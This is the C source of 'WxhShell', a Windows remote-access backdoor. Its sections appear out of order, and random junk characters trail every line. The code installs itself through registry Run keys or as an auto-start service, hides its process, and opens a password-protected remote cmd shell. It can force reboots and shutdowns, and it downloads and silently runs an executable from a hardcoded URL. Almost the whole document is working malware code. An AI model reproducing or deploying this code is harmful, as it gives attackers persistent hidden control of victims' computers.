    if(Boot(SHUTDOWN)) OY(znVHU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K.\-  
    else { ,NQ>,}a0  
    closesocket(wsh); x:IY6  l  
    ExitThread(0); pPZ^T5-ks  
    } 0mR  
    break; 2)>Ty4*  
    } LY(h>`  
  // 获取shell zy[|4Q(?  
  case 's': { |c!lZo/  
    CmdShell(wsh); Px"K5c*  
    closesocket(wsh); pXHeUBY.  
    ExitThread(0); &E8fd/s= k  
    break; " qrL:,   
  } %b`B.A  
  // 退出 0qD.OF)8  
  case 'x': { ^->vUf7PX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !<MW*7P=  
    CloseIt(wsh); =DXvt5G  
    break; IctLhYZ  
    } ]lzOz<0q  
  // 离开 Z(fhH..T`  
  case 'q': { &SK=ZOKg^  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); CI,xp  
    closesocket(wsh); Q*AgFF%wn  
    WSACleanup(); T 9?!.o  
    exit(1); VEg/x z4c  
    break; @5(HRd  
        } `pd1'5Hm  
  } ;V3d"@R,  
  } `o!a RX  
J*O$)K%Hx  
  // 提示信息 1Du9N[2'P  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b1qli5  
} jRIm_)  
  } ph=[|P)  
;^:$O6J7T~  
  return; hk1jxnQ h  
} Mt`XHXTp  
#n}n %  
// shell模块句柄 quw:4W>  
int CmdShell(SOCKET sock) Li\BRlebR{  
{ 1_.#'U>  
STARTUPINFO si; MOW {g\{\  
ZeroMemory(&si,sizeof(si)); wH[}@w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; - dt<w;>W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; oJTsrc_ -  
PROCESS_INFORMATION ProcessInfo; |qsY0zx  
char cmdline[]="cmd"; o] 7U;W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R!LKGiN  
  return 0; ss>?fyA  
} uP[:P?,t  
XD\Z$\UJE  
// 自身启动模式 L #l|}u  
int StartFromService(void) ? /Z hu  
{ 4\yKd8I  
typedef struct 1)m&6:!b  
{ C\dlQQ  
  DWORD ExitStatus; F /:2+  
  DWORD PebBaseAddress; BV HO_  
  DWORD AffinityMask; 2nPU $\du  
  DWORD BasePriority; h/%Hk;|9  
  ULONG UniqueProcessId; \4`2k  
  ULONG InheritedFromUniqueProcessId; $R<eXDW6:  
}   PROCESS_BASIC_INFORMATION; DweWFipyPi  
\i#0:3s.  
PROCNTQSIP NtQueryInformationProcess; 4';tMiz  
>, }m=X8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; K06/ D!RD4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yw;!KUKb|  
".SQ*'Oc  
  HANDLE             hProcess; 6Pa jBEF  
  PROCESS_BASIC_INFORMATION pbi; QP e}rQnm  
\;A\ vQ[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 5&r2a}K  
  if(NULL == hInst ) return 0; J ;wA  
(8(z42  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); E qva] 4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); a JDu_  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); RFu]vFff  
c!%:f^7g  
  if (!NtQueryInformationProcess) return 0; 'HV}Tr  
o*u A+7n  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ,uP1U@Cas  
  if(!hProcess) return 0; AcF;5h  
1dK^[;v>3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /vB%gqJvX  
$V8B =k~  
  CloseHandle(hProcess); 7M1*SC  
T<0Bq"'%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "zO+!h'o  
if(hProcess==NULL) return 0; y|X\f!  
m H'jr$ ?  
HMODULE hMod; -3r&O:  
char procName[255]; O"mU#3?  
unsigned long cbNeeded; UmU=3et<Wj  
[J+K4o8L<A  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "t"=9:_t  
L$x/T3@  
  CloseHandle(hProcess); `#X{.  
k>Qr 14F  
if(strstr(procName,"services")) return 1; // 以服务启动 $sO}l  
V@K}'f~  
  return 0; // 注册表启动 x9HA^Rj4-  
} b`K~l'8  
T+2I:W%  
// 主模块 z@ A5t4+3  
int StartWxhshell(LPSTR lpCmdLine) 1W HR;!u  
{ ? F f w'O  
  SOCKET wsl; $/45*  
BOOL val=TRUE; !{SU G+.2  
  int port=0; @11voD  
  struct sockaddr_in door; ?kb\%pcK  
^\mN<z(  
  if(wscfg.ws_autoins) Install(); >|7&hj$  
,Ql3RO,  
port=atoi(lpCmdLine); N[ArwV2O  
v.v3HB8p  
if(port<=0) port=wscfg.ws_port; n@g[VR2t  
^B?koU l^  
  WSADATA data; M)EUR0>8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9&'Mb[C`"  
v(4C?vxhG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ( L RX  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K"b vUH  
  door.sin_family = AF_INET; Hv0sl+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p9_45u`u2  
  door.sin_port = htons(port); A Sy7")5  
zAB-kE\ )  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { k=bv!T_o  
closesocket(wsl); n*iaNaU"'  
return 1; M7,|+W/RK  
} +U%lWE%  
=GM!M@~,Ab  
  if(listen(wsl,2) == INVALID_SOCKET) { HA"dw2 |  
closesocket(wsl); xYt{=  
return 1; <WBGPzVZE  
} YQX>)'  
  Wxhshell(wsl); D?5W1m]E,s  
  WSACleanup(); o(~JZi k  
|_[mb(<|  
return 0; w6Tb<ja  
ieS5*@^k  
} q}BQu@'H  
.FHOOw1r=  
// 以NT服务方式启动 ",8h>eEWK  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;{Z2i%  
{ N'm:V  
DWORD   status = 0; PLo.q|%  
  DWORD   specificError = 0xfffffff; Z*]n]eS  
KS(T%mk\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; sQihyq6U;  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J;q3 fa  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]P<&CEk  
  serviceStatus.dwWin32ExitCode     = 0; /e{Oqhf[n  
  serviceStatus.dwServiceSpecificExitCode = 0; ( v ~/glf  
  serviceStatus.dwCheckPoint       = 0; 4N` MY8',  
  serviceStatus.dwWaitHint       = 0; #2HygS  
aeBth{  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 4VU5}"<  
  if (hServiceStatusHandle==0) return; ~Nc] `95  
J?%D4AeS]v  
status = GetLastError(); ^ <|If:|  
  if (status!=NO_ERROR) bR&hI9`%F  
{ \HK#d1>ox  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; :f/ p5 c  
    serviceStatus.dwCheckPoint       = 0; ^ACp_RM  
    serviceStatus.dwWaitHint       = 0; 'pm2C6AC  
    serviceStatus.dwWin32ExitCode     = status; (vj2XiO^+  
    serviceStatus.dwServiceSpecificExitCode = specificError; zLh ~x  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); (c[h,>`@:  
    return; *.nqQhW  
  } ^*{ xTB57  
v@t*iDa?7  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3UN Jj&-`  
  serviceStatus.dwCheckPoint       = 0; !&'xkw`  
  serviceStatus.dwWaitHint       = 0; &aF_y_f\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); %W&=]&L  
} .cZ&~ N  
7L-%5:1%  
// 处理NT服务事件,比如:启动、停止 p6HZ2Q:a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ?pF;{  
{ e&0B4wVAQ  
switch(fdwControl) zw5~|<  
{ Le3S;SY&  
case SERVICE_CONTROL_STOP: Aoo'i  
  serviceStatus.dwWin32ExitCode = 0; v\MH;DW^Z  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; )E[5lD61  
  serviceStatus.dwCheckPoint   = 0; ZXU e4@qfl  
  serviceStatus.dwWaitHint     = 0; %ri4nKGS  
  { BklB3*n  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); zA"D0fr  
  } QOF;j#H^  
  return; M3t_!HP}!  
case SERVICE_CONTROL_PAUSE: f`IgfJN  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "rKIXy  
  break; $&e(V6A@  
case SERVICE_CONTROL_CONTINUE: xY~ DMcO?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BO9Z "|"  
  break; Zi[)(agAT  
case SERVICE_CONTROL_INTERROGATE: mJsYY,b8  
  break; Iiy:<c  
}; ynDx'Q*N'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,F-tvSc\Q  
} ?xf;#J+{8  
wl{p,[]  
// 标准应用程序主函数 [{{?e6J  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3,F/i+@  
{ mm{U5  
,jt098W  
// 获取操作系统版本 TAAsV#l  
OsIsNt=GetOsVer(); eLC&f}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <#s-hQ  
O?2<rbx  
  // 从命令行安装 n7MS{`  
  if(strpbrk(lpCmdLine,"iI")) Install(); c'|MC[^A  
0}^-, Q,  
  // 下载执行文件 DS$ _"'g%i  
if(wscfg.ws_downexe) { Fhsmpe~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) v:HgpZo+  
  WinExec(wscfg.ws_filenam,SW_HIDE); zgRP!q<9tt  
} t~a$|( 9  
.y0]( h  
if(!OsIsNt) { n5JB'F)  
// 如果时win9x,隐藏进程并且设置为注册表启动 -E500F*b  
HideProc(); ,m"ztu-  
StartWxhshell(lpCmdLine); I+CQ,Zuf  
} XeB>V.<y  
else kCC9U_dj,  
  if(StartFromService()) v|/3Mi9mz  
  // 以服务方式启动 !:n),sFv45  
  StartServiceCtrlDispatcher(DispatchTable); EIYM0vls(  
else U.)G #B  
  // 普通方式启动 7 IHD?pnZ  
  StartWxhshell(lpCmdLine); NSgHO`gU8  
( Lu.^  
return 0; t!T}Pg(Bo  
} F889JSZ%  
I| j tpv}  
R^2Uh$kk{A  
"{B ek<  
=========================================== o5D"<-=>  
H4m6H)KOG  
b$ x"&&   
~`})x(!  
X<m%EXvV  
<bx9;1C>zd  
" <?zTnue  
h/fCCfO,  
#include <stdio.h> ^i8I 1@ =  
#include <string.h> #w*pWD^  
#include <windows.h> lQsQRp  
#include <winsock2.h> {.lF~cOu  
#include <winsvc.h> E&>,B81  
#include <urlmon.h> ommKf[h%i  
B@;)$1-UT  
#pragma comment (lib, "Ws2_32.lib") Gtg)%`  
#pragma comment (lib, "urlmon.lib") '<0q"juXE  
IP'igX  
#define MAX_USER   100 // 最大客户端连接数 )a^Yor)o"  
#define BUF_SOCK   200 // sock buffer uTU4Fn\$L  
#define KEY_BUFF   255 // 输入 buffer Z M+Hb_6f  
 (v`;ym  
#define REBOOT     0   // 重启 zkp Apj].  
#define SHUTDOWN   1   // 关机 E~>6*_?  
Ft7a\vn*B  
#define DEF_PORT   5000 // 监听端口 `oMeR]~  
ya{>=  
#define REG_LEN     16   // 注册表键长度 Z0=m:h  
#define SVC_LEN     80   // NT服务名长度 L, {rMLM%  
|%}s$*s  
// 从dll定义API 2*citB{  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); X?6h>%) k  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VU/W~gb4"A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); eCp|QSXE  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >$mSF Jz5S  
$&8h=e~]-  
// wxhshell配置信息 GVEWd/:X(  
struct WSCFG { )zXyV]xe  
  int ws_port;         // 监听端口 Y(y 9l{'  
  char ws_passstr[REG_LEN]; // 口令 W"kw>JEt  
  int ws_autoins;       // 安装标记, 1=yes 0=no VM]IL%AN  
  char ws_regname[REG_LEN]; // 注册表键名 &{ {DS  
  char ws_svcname[REG_LEN]; // 服务名 cY2-T#rL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 N}Ks[2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }iSakq'  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ,w%oSlOu  
int ws_downexe;       // 下载执行标记, 1=yes 0=no eU koVr   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =4e=wAO(i  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 CjQ"oQw  
5FSv"=  
}; v1C.\fL  
Tq84Fn!HJ>  
// default Wxhshell configuration T'M66kg  
struct WSCFG wscfg={DEF_PORT, _g 4 /%  
    "xuhuanlingzhe", (L5'rNk  
    1, eFSC^  
    "Wxhshell", AD@PNM  
    "Wxhshell", u 7"VeTz  
            "WxhShell Service", Tj=dL  
    "Wrsky Windows CmdShell Service", mY`]33??v  
    "Please Input Your Password: ", HqdJdWl#"  
  1, {(OIu]:  
  "http://www.wrsky.com/wxhshell.exe", e5ru:#P.p  
  "Wxhshell.exe" *>'2$me=  
    }; cHL]y0>  
sJb)HQ,7x  
// 消息定义模块 DAnb.0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [tqO}D  
char *msg_ws_prompt="\n\r? for help\n\r#>"; jRG\C=&(x  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $W$# CTM  
char *msg_ws_ext="\n\rExit."; 2Nn1-wdhb  
char *msg_ws_end="\n\rQuit."; g?~Tguv  
char *msg_ws_boot="\n\rReboot..."; +oy&OKCa  
char *msg_ws_poff="\n\rShutdown..."; |WAD $3  
char *msg_ws_down="\n\rSave to "; Ao":9r[V  
]1?=jlUl  
char *msg_ws_err="\n\rErr!"; Lq-33#n/  
char *msg_ws_ok="\n\rOK!"; ^$IZLM?E~  
14D 7U/zer  
char ExeFile[MAX_PATH]; *w/WHQ`xI  
int nUser = 0; _;:rkC fj  
HANDLE handles[MAX_USER]; 8rwYNb.P  
int OsIsNt; R|1xXDLm*E  
0HR|aqPo  
SERVICE_STATUS       serviceStatus; ck+b/.gw`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; qon{ g  
L"foL  
// 函数声明 C4{\@v}t  
int Install(void); ISS\uj63M  
int Uninstall(void); s8_aL)@f  
int DownloadFile(char *sURL, SOCKET wsh); |= cCv_y  
int Boot(int flag); z Bt`L,^  
void HideProc(void); :,kU#eZ$-  
int GetOsVer(void); 9&%#nN4`8  
int Wxhshell(SOCKET wsl); n}A?jOSAe  
void TalkWithClient(void *cs); xHB/]Vd-  
int CmdShell(SOCKET sock); GVG!sM mnX  
int StartFromService(void); 8PBU~mr  
int StartWxhshell(LPSTR lpCmdLine);  *q*HGW5  
nG"n-$A?<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); !&`}]qQZ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); f<89$/w  
>+ ]R4  
// 数据结构和表定义 f]8!DXEA  
SERVICE_TABLE_ENTRY DispatchTable[] = ejklpa ./  
{ sS2_-X[_  
{wscfg.ws_svcname, NTServiceMain}, uuSR%KK]|  
{NULL, NULL} !7*(!as  
}; 3Q"F(uE v^  
K 3Yw8t2J  
// 自我安装 yW\XNX  
int Install(void) {/d4PI7)tK  
{ &$qF4B*  
  char svExeFile[MAX_PATH]; \Mb(6~nC  
  HKEY key; yI8m%g%  
  strcpy(svExeFile,ExeFile); o\ngR\>  
py{eX`(MS  
// 如果是win9x系统,修改注册表设为自启动 XDk'2ycv  
if(!OsIsNt) { H&X:!xa5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A Jyq>0p  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); F>dwLbnb  
  RegCloseKey(key); :N@U[Wx0A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %bP~wl~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `c"4PU^  
  RegCloseKey(key); Yb[n{.%/g  
  return 0; d/{Q t  
    } 53 @oP  
  } (*,8KLV_i  
} 7DtIVMiK  
else { QjA&IZEC  
-Z%F mv8  
// 如果是NT以上系统,安装为系统服务 u7;`4P:o@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); z)lM2x>|*  
if (schSCManager!=0) pkXv.D`  
{ HU &)  
  SC_HANDLE schService = CreateService HG2GZ}~^1  
  ( m0A#6=<  
  schSCManager, i&`!|X-=R  
  wscfg.ws_svcname, fVe@YqNa  
  wscfg.ws_svcdisp, I%@e@Dm,h  
  SERVICE_ALL_ACCESS, nr OqH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &<au/^F  
  SERVICE_AUTO_START, _(C^[:s  
  SERVICE_ERROR_NORMAL, QDS0ejhp  
  svExeFile, gnt45]@{  
  NULL, L[9OVD  
  NULL, iTh xVD  
  NULL, H]s4% 9T  
  NULL, #?9 Q{0e  
  NULL <uZPqi||  
  ); !@u&{"{`  
  if (schService!=0) Sx8l<X  
  { &p5&=zV}  
  CloseServiceHandle(schService); HZ }6Q  
  CloseServiceHandle(schSCManager); %>Bko,ET  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); AD]e0_E  
  strcat(svExeFile,wscfg.ws_svcname); =3*Jj`AV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { {h#6z>p"u2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); M% @  
  RegCloseKey(key); k oM]S+1  
  return 0; ! k,<|8(0  
    } R<_?W#$j  
  } vMhYpt?7\  
  CloseServiceHandle(schSCManager); :BZMnCfA  
} R2w`Y5#`  
} &5u BNpH  
Y0@yD#,0~  
return 1; mDfwn7f  
} #vQ?  
QY@u}&m%o  
// 自我卸载 LM:)j:gS6  
int Uninstall(void) +Hj/0pp  
{ jYWw.g<  
  HKEY key; xO7Yt l  
{"m0)G,G  
if(!OsIsNt) { p1D()-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9? 2  
  RegDeleteValue(key,wscfg.ws_regname); lUv=7" [  
  RegCloseKey(key); xW>ySEf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lkA^\ +Ct  
  RegDeleteValue(key,wscfg.ws_regname); Cxm6TO`-;  
  RegCloseKey(key); xuU x4,Z  
  return 0; S[mM4et|  
  } T~X41d\  
} q#N R32byF  
} aG! *WHt  
else { Ky kSFB  
D{p5/#|r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); dQ9 ah  
if (schSCManager!=0) KCUU#t|8V\  
{ rB%y6P B  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); sqpGrW.  
  if (schService!=0) )11W)G`w  
  { QR"bYQ  
  if(DeleteService(schService)!=0) { 6NX3"i0 eT  
  CloseServiceHandle(schService); 0|XKd24BN  
  CloseServiceHandle(schSCManager); q[ ULG v  
  return 0; =&7@<vBpy  
  } =i>\2J%'R  
  CloseServiceHandle(schService); -[DWM2C$K4  
  } kUa)smh  
  CloseServiceHandle(schSCManager); 7Fz xe$A  
} }>}1oUCi  
} CISO<z0  
#Qh>z%Mn^3  
return 1; dl0FQNz8@B  
} 0xCz'mJ  
>w.'KR0L  
// 从指定url下载文件 `T"rG }c  
int DownloadFile(char *sURL, SOCKET wsh) c@R; /m:R  
{ \a))  
  HRESULT hr; uZIJoT  
char seps[]= "/"; 8>NwCjN  
char *token; !msNEE@[  
char *file; {%b }Z2  
char myURL[MAX_PATH]; Jdj?I'XtY  
char myFILE[MAX_PATH]; |QMA@Mx  
oM,- VUr  
strcpy(myURL,sURL); 2z_2.0/3  
  token=strtok(myURL,seps); 3c#s|qW  
  while(token!=NULL) cin2>3Z$  
  { |g-b8+.=]  
    file=token; e1/sqXWo  
  token=strtok(NULL,seps); n ~,t QV  
  } m\vmY  
h*w6/ZL1  
GetCurrentDirectory(MAX_PATH,myFILE); ? \m3~6y  
strcat(myFILE, "\\"); @{d\j]Nw  
strcat(myFILE, file); <7 )Fh*W@  
  send(wsh,myFILE,strlen(myFILE),0); s0C:m  
send(wsh,"...",3,0); kl}Xmw{tJ  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *1A&'T2  
  if(hr==S_OK) a#0;==#  
return 0; rzeLx Wt  
else OgCy4_a[f  
return 1; wLJ]&puwm  
tous#(&pK  
} S8vV!xO  
E m{aM  
// 系统电源模块 XOy2lJ/  
int Boot(int flag) w%a8XnW]1  
{ ~/-eyxLTm  
  HANDLE hToken; -rSIBc:$8  
  TOKEN_PRIVILEGES tkp; {f DTSr?/  
vF4]ux&  
  if(OsIsNt) { |L::bx(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  !HK^AwNY  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); u[oUCTY  
    tkp.PrivilegeCount = 1; h#qN+qt}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; OqUr9?+  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Bv9kSu9'~  
if(flag==REBOOT) { 1|| +6bRP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z[nS$]u  
  return 0; E D"!n-Hq  
} "Fnq>iR-  
else { }|wv]U~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) iL]'y\?lv  
  return 0; 6'C2SihYp  
} Y[ zZw~yx  
  } V[; M&=,"  
  else { y\c"b-lQX  
if(flag==REBOOT) { ,Zf 9RM  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o[\HOe~;  
  return 0; /rc%O*R  
} 1(#;&:$`i  
else { d 8o53a]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) NHQF^2\\  
  return 0; M+P$/Wk  
} ^%>kO,  
} X~9j$3lUBR  
=L-I-e97@  
return 1; F<&!b2)ML  
} , YW|n:X  
;xYNX  
// win9x进程隐藏模块 CE%_A[a  
void HideProc(void) ?]O7Ao  
{ kv{}C)kt3  
?> D tw#}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GqKsK r2%  
  if ( hKernel != NULL ) hJ;$A*Y  
  { B 0ee?VC  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Wp0 Dq(  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); }8K4-[\  
    FreeLibrary(hKernel); YT#3n  
  } ]lOh&Cz[  
#*%q'gyHT  
return; s)J(/  
}  .) tSg  
lUOvm\  
// 获取操作系统版本 eU@Cr7@,|  
int GetOsVer(void) iq$$+y,  
{ ,m3e?j@;r  
  OSVERSIONINFO winfo; PmpNAVE'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z+{,WHjo  
  GetVersionEx(&winfo); / |r'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) .="bzgC3A  
  return 1; 9!',b>C6  
  else !YL. .fb  
  return 0; XOP"Px@  
} / ~ %KVe  
.Pndx%X9s  
// 客户端句柄模块 Jju#iwb  
int Wxhshell(SOCKET wsl) r=uN9ro  
{ X2sHE  
  SOCKET wsh; n/d`qS  
  struct sockaddr_in client; "/Pjjb:2  
  DWORD myID; =T?}Nt  
/phX'xp  
  while(nUser<MAX_USER) jKIxdY:U  
{ {7hLsK[])  
  int nSize=sizeof(client); v X~RP *  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $ ,Ck70_  
  if(wsh==INVALID_SOCKET) return 1;  mEG6  
^2D1`,|N  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "ww|&-W9  
if(handles[nUser]==0) )-15 N  
  closesocket(wsh); "p&Y^]  
else CqMhk  
  nUser++; Cwa^"r3P1  
  } z4%uN |V  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ipnV$!z  
HAzBy\M{  
  return 0; |077Sf|  
} 3rW|kkn  
6 gL=u-2  
// 关闭 socket Rk<@?(l!6x  
void CloseIt(SOCKET wsh) E51dV:l  
{ }_/Hdmmx  
closesocket(wsh); kl!wVLE  
nUser--; p@!nYPr.  
ExitThread(0); Z%zj";C G  
} AN:sQX`  
^ 2GHe<Y  
// 客户端请求句柄 2,2Z`X  
void TalkWithClient(void *cs) t.8 GT&p  
{ 2"P 99$"  
P9Yy9_a|x  
  SOCKET wsh=(SOCKET)cs; 8 ;d$54 b  
  char pwd[SVC_LEN]; {'sY|lou  
  char cmd[KEY_BUFF]; N[]Hc  
char chr[1]; j`'`)3f  
int i,j; QZp6YSz.4  
: JzI>/  
  while (nUser < MAX_USER) { :bV mgLgG  
EF7+ *Q9  
if(wscfg.ws_passstr) { S1 Z2_V  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kE>0M9EdH  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); omO S=d!o  
  //ZeroMemory(pwd,KEY_BUFF); FuG4F  
      i=0; .;y#  
  while(i<SVC_LEN) { 'FlJpA}  
6=4wp?  
  // 设置超时 El_wdbbT  
  fd_set FdRead; nkxzk$  
  struct timeval TimeOut; Hgeg@RP Q  
  FD_ZERO(&FdRead); ORGD  
  FD_SET(wsh,&FdRead); >z;[2 n'  
  TimeOut.tv_sec=8; +d+@u)6  
  TimeOut.tv_usec=0; w\54j)rb  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P./V6i<:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); h5%<+D<  
(Fq5IGs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); O ,rwP  
  pwd=chr[0]; +a&p$\  
  if(chr[0]==0xd || chr[0]==0xa) { /kL $4CA  
  pwd=0; 5$DHn ]  
  break; Tus}\0/i>  
  } |b-9b&  
  i++; `p;eIt  
    } 0q>P~] Ow  
D']ZlB 'K  
  // 如果是非法用户,关闭 socket GRb*EeT  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); NaVQ9ku7VW  
} u p.Q>28r  
l Z#o+d2Y  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lzw3=H  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,NnhHb2\  
sK{l 9  
while(1) { +iRq8aS_  
.Ha'p.  
  ZeroMemory(cmd,KEY_BUFF); A+y  
JdIlWJY  
      // 自动支持客户端 telnet标准   CTWn2tpW  
  j=0; t+5E#!y  
  while(j<KEY_BUFF) { mj|)nOd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); j4?@(u9;j  
  cmd[j]=chr[0]; q@b|F-  
  if(chr[0]==0xa || chr[0]==0xd) { \V9Z #>  
  cmd[j]=0; VrZ>bma;  
  break; "UEv&mQ  
  } 9lB]~,z  
  j++; T\Uek-(  
    } d(g^M1 m  
F+E|r6'i  
  // 下载文件 *f,DhT/P  
  if(strstr(cmd,"http://")) { iX0iRC6f  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u6`=x$&  
  if(DownloadFile(cmd,wsh)) xs\!$*R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0);  K;LZ-  
  else $P1O>x>LIL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .(pN5JI*  
  } e]jH+IR:>  
  else { jTLSdul+  
z4 &iK)x  
    switch(cmd[0]) { V9ssH87#  
  TCT57P#b  
